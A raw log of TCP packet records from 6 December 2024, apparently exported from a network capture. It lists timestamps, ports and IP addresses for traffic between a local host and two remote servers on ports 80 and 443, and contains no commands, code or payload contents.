Dec 6, 2024 18:45:45.467320919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.467405081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.468643904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.468703032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.468719959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.468808889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.470103025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.470155001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.470227957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.470273018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.471559048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.471616030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.471791029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.471834898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.473026991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.473083019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.473242044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.473304987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.474426031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.474529028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.474529982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.474566936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.475797892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.475850105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.475914001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.475954056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.477209091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.477271080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.477305889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.477418900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.478609085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.478655100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.478741884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.478941917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.479989052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.480034113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.480098963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.480278015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.481333971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.481383085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.481415987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.481456995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.482656956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.482712030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.482769012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.482810974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.484018087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.484113932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.484183073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.484405041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.485291004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.485336065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.485394955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.485459089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.486675024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.486696959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.486726046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.486747026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.487915039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.487972975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.488115072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.488168001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.489186049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.489233017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.489320993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.489367008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.490482092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.490533113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.490588903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.490626097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.491801023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.491861105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.491939068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.491982937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.493105888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.493165970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.493195057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.493263960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.494357109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.494402885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.494432926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.494627953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.495593071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.495659113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.495697975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.495827913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.496895075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.496942997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.496954918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.496978998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.498182058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.498254061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.498255014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.498295069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.499460936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.499515057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.499830008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.499871969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.500703096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.500786066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.500812054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.500848055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.501956940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.501998901 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.502038002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.502152920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.503310919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.503376961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.503387928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.503576040 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.504503012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.504563093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.504657984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.504709959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.505773067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.505816936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.505840063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.505938053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.507041931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.507123947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.507329941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.507375002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.508348942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.508393049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.508425951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.508496046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.509232044 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.509290934 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.509392977 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.509571075 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.509588957 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.509601116 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.509602070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.509607077 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.509654045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.509691954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.509757042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.512171984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.512243032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.512290001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.512311935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.512326956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.512356043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.512388945 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.512449980 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.512492895 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.512568951 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.512727022 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.512741089 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.513483047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.513533115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.513576031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.513659000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.514731884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.514853954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.514897108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.516020060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.516083956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.516093016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.516133070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.517245054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.517297983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.517383099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.517429113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.518739939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.518815041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.518850088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.518896103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.519881964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.519952059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.519970894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.520054102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.521058083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.521123886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.521162033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.521215916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.522335052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.522464037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.522475004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.522497892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.523641109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.523718119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.523797035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.523839951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.524928093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.525012016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.525052071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.525099039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.525294065 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.525358915 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.525403976 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.525625944 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.525650978 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.525664091 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.525670052 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.526572943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.526642084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.526650906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.526801109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.527470112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.527509928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.527540922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.527566910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.528728962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.528801918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.528806925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.528917074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.529021025 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.529042006 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.529122114 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.529261112 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.529273987 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.530013084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.530060053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.530087948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.530133963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.531286001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.531331062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.531358957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.531397104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.532496929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.532569885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.546020985 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.546092033 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.546180964 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.546322107 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.546345949 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.546360970 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.546366930 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.548968077 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.548991919 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.549232960 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.549391985 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.549403906 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.654586077 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.654683113 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.654922009 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.655116081 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.655145884 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.655162096 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.655169010 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.658845901 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.658891916 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.658956051 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.659252882 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.659271002 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.671665907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.671760082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.671761990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.671844006 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.672184944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.672292948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.672400951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.672512054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.672550917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.673499107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.673651934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.673672915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.673836946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.674550056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.674621105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.674629927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.674658060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.675616980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.675702095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.675729990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.675812960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.676707983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.676739931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.676754951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.676834106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.677870035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.677907944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.677922010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.677942038 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.678853035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.678935051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.678981066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.679888010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.679946899 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.679980993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.680054903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.681026936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.681067944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.681108952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.681142092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.682060003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.682143927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.682179928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.682225943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.683140993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.683180094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.683280945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.683485985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.684190989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.684226990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.684345007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.684389114 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.685256958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.685395002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.685431957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.685465097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.686355114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.686394930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.686520100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.686594963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.687436104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.687475920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.687602997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.687637091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.688513994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.688560009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.688596010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.688631058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.689630985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.689682961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.689707994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.689918041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.690634966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.690727949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.690732956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.690768003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.691698074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.691735029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.691741943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.691802979 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.692790985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.692831993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.692886114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.692925930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.693845034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.693881035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.693953037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.694004059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.694979906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.695024014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.695106030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.695142984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.696000099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.696038008 CET	49796	80	192.168.2.6	185.215.113.206
